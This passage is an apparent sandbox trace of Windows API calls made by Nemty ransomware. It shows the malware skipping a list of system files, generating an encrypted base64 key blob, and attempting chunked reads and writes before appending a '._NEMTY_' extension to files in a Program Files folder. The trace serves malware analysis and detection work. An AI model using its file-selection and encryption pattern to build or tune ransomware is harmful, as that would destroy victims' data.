dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0062.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0062.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0062.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0062.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0062.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0062.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0062.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0062.879] Sleep (dwMilliseconds=0x5) [0062.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9208b50, dwHighDateTime=0x1d561e7)) [0062.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9208b50, dwHighDateTime=0x1d561e7)) [0062.881] GetLastError () returned 0x5 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.882] GetLastError () returned 0x5 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.882] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.882] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.882] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0062.882] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="MwB1293lbOlgr770DQC9QrK+m33BHASc8s73LhB4aRhhlsxTi64qr8FgM06CHZbN\r\nyabV1fBY7jqCAn/X3dV4sIbjl/7rZejmSRkxDvDnpBBT2tmBsaU4fOAMKbWXtzop\r\nkNttXVvS08mFoRxu8e7cmtHRd1I4KNjoz9iz2ekmBAp8icosW8JG2vRKl2Z5tRRw\r\nvFWZNTDWFzpVySfjtJ8OHA1dJcVGHMbO0OX8LgyOupjjUDd+wAboz0QiL2zIXMgw\r\nSQHZH1w9AO0sPRDs+RW/jCn3PqJ0xeCeD+nwdi6buAOfyiif22YpdBkTYrN4XU/1\r\n2FE8qRQuJXxwumDIvGvNNg==\r\n", pcchString=0x653e91c) returned 1 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0062.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0062.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.882] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.883] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.994] CloseHandle (hObject=0xffffffff) returned 0 [0062.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0062.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0062.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0062.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0062.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.994] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0062.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.995] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0062.995] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0062.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0062.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0062.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.996] WideCharToMultiByte 